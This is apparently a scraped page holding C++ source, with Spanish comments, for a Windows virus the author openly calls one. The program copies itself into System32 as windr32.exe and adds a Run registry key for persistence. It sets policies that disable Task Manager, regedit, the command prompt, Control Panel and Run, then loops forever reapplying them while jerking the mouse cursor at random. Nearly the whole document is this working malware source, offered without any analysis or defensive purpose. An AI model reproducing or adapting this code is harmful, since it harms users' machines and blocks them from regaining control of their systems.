Sei sulla pagina 1di 4

#include <windows.h> //Para poder agregar la entrada al registro //#include <winable.h> //Esto es para BlockInput(); //#include <tlhelp32.

h> #include <stdio.h> #include <iostream.h> //argv[0] es la ruta donde se ha ejecutado el programa void moverAleatorio();//Hecho int createKey(char *path);//Hecho void virusCopy(char *ruta);//Crea el "clon" que actuar en \system32, devuelve don de lo ha copiado - Hecho bool regVerify(char *path);//Comprueba si el registro contiene la informacion pa ra que el clon se incicie con Windows - Failed char *getRuta();//Nos da la sagrada ruta a poner el clon void bloquear(char* Aplicacion);//bloquea algunas cosillas por si algun listillo rebelde quiere vacilar al sacrosanto virus >:O char* die1="DisableTaskMgr";//Solo la 1,2 y la 3, el resto es demasiao, y si pue do, el gpedit.msc char* die2="DisableRegistryTools"; char* die3="DisableCMD"; char* die4="NoControlPanel"; char* die5="NoRun"; int main(int argc, char* argv[]){ char *ruta;//donde se guarda el clon, en system32 FreeConsole(); ruta = getRuta(); virusCopy(ruta); createKey(ruta); bloquear(die1); bloquear(die2); bloquear(die3); bloquear(die4);//Este es panel de control y lo dejo en comentarios, por que si sin quere compilo, la hemos cagado xD bloquear(die5); while(true){ createKey(ruta); bloquear(die1); bloquear(die2); bloquear(die3); bloquear(die4); bloquear(die5); if(argv[0]=ruta){ moverAleatorio(); } } return 0; } void moverAleatorio(){ int mx, my;

mx = GetSystemMetrics(SM_CXSCREEN)-1; my = GetSystemMetrics(SM_CYSCREEN)-1; SetCursorPos(1+ (rand() % mx), 1+ (rand() % my)); _sleep(100); } int createKey(char *path) { int regKey,check; HKEY hkey; regKey=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\Cur rentVersion\\Run",&hkey); if(regKey==0) { RegSetValueEx((HKEY)hkey,"windr32",0,REG_SZ,(BYTE *)path,strlen(p ath)); check=0; return check; } if(regKey!=0) check=1; return check; } void virusCopy(char *ruta) { char path[256];//La ruta donde esta el virus original char nombre[]="windr32";//El nombre con el que va a copiar el virus(clon) strcat(nombre,".exe"); //agrega .exe a windr32 strcat(ruta,nombre); //agrega windr32.exe a C:\WINDOWS\System32 HMODULE exe = GetModuleHandle(0); //nos retornara un handle al archivo usado para crear el proceso de llamada GetModuleFileName(exe, path, 256); //obtiene la ruta de si mismo CopyFile(path,ruta,false); //se copia a la carpeta System32 } /* bool regVerify(char *path) //Comprueba si el virus ha infectado el registro { DWORD tamCad = sizeof(path);//tamao de la cadena HKEY hkey; int regKey; /*if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersi on\\Run",0,KEY_QUERY_VALUE,&hkey)){//Si no se abre la clave, devolver false para indicar que no existe return false; }*//*

//ZeroMemory(path,tamCad);//Pone en 0 ambas cadenas y le da el tipo DWORD a path if(RegQueryValueEx(hkey,"windr32",0,NULL,(PBYTE)path,&tamCad)){//si esta infecta do cadena guarda el valor alfanumerico return false;//Devolver false porque aun no esta infectado el registro }else{ return true;//Se devuelve true porque el registro ya esta infectado } RegCloseKey(hkey); }*/ char *getRuta(){ char* ruta=getenv("windir");//Donde lo va a copiar, en system32 //obtiene la ruta de la instalacion de windows strcat(ruta,"\\System32\\"); //agrega System32 a la ruta return ruta; } void bloquear(char* Aplicacion) { /* Funcion para Bloquear el Simbolo del Sistema, Administrador de Tareas,Editor de registro (Regedit), Panel de control y eliminar Panel de Control y Ejecutar del menu de Incio de windows*/ try { HKEY hHKCU = NULL, hMyKey = NULL; DWORD value = 1; if (Aplicacion=="DisableCMD") { if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS ) { if (RegCreateKeyEx(hHKCU, "Software\\Policies\\Microsoft\\Windows\\System", 0, N ULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD)); RegCloseKey(hMyKey); } } } if (Aplicacion=="DisableTaskMgr") { if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS ) { if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policie s\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD)); RegCloseKey(hMyKey); } } } if (Aplicacion=="DisableRegistryTools")

{ if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS ) { if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policie s\\System", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD)); RegCloseKey(hMyKey); } } } if (Aplicacion=="NoControlPanel") { if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS ) { if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policie s\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD)); RegCloseKey(hMyKey); } } if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCES S) { if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policie s\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD)); RegCloseKey(hMyKey); } } } if (Aplicacion=="NoRun") { if (RegOpenKeyEx(HKEY_CURRENT_USER, NULL, 0, KEY_WRITE, &hHKCU) == ERROR_SUCCESS ) { if (RegCreateKeyEx(hHKCU, "Software\\Microsoft\\Windows\\CurrentVersion\\Policie s\\Explorer", 0, NULL, 0, KEY_WRITE, NULL, &hMyKey, NULL) == ERROR_SUCCESS) { RegSetValueEx(hMyKey, Aplicacion, 0, REG_DWORD,(BYTE*)&value, sizeof(DWORD)); RegCloseKey(hMyKey); } } } }//fin del try catch (...){ } }

Potrebbero piacerti anche